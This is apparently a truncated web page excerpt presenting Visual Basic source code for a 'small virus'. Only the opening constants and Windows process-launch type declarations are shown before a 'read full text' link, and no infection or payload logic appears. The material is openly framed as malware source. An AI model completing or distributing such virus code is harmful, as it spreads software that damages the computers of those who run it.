VB编写的小病毒及其源代码
-----------------------------------------------------小病主程序------------- Private Const FILESIZEOFAPP2 = 24064 Private Const FILESIZEOFAPP3 = 1386496 Private RunFile$ Private Const NORMAL_PRIORITY_CLASS = &H20 Private Const INFINITE = &HFFFFFFFF Private Const WAIT_TIMEOUT = &H102& Private Flag As Boolean Private Type PROCESS_INFORMATION ' hProcess As Long hThread As Long dwProcessId As Long dwThreadId As Long End Type Private Type STARTUPINFO cb As Long lpReserved As String lpDesktop As String lpTitle As String dwX As Long dwY As Long dwXSize As Long dwYSize As Long dwXCountChars As Long dwYCountChars As Long dwFillAttribute As Long dwFlags As Long wShowWindow As Integer cbReserved2 As Integer lpReserved2 As Long hStdInput As Long hStdOutput As Long hStdError......
阅读全文 →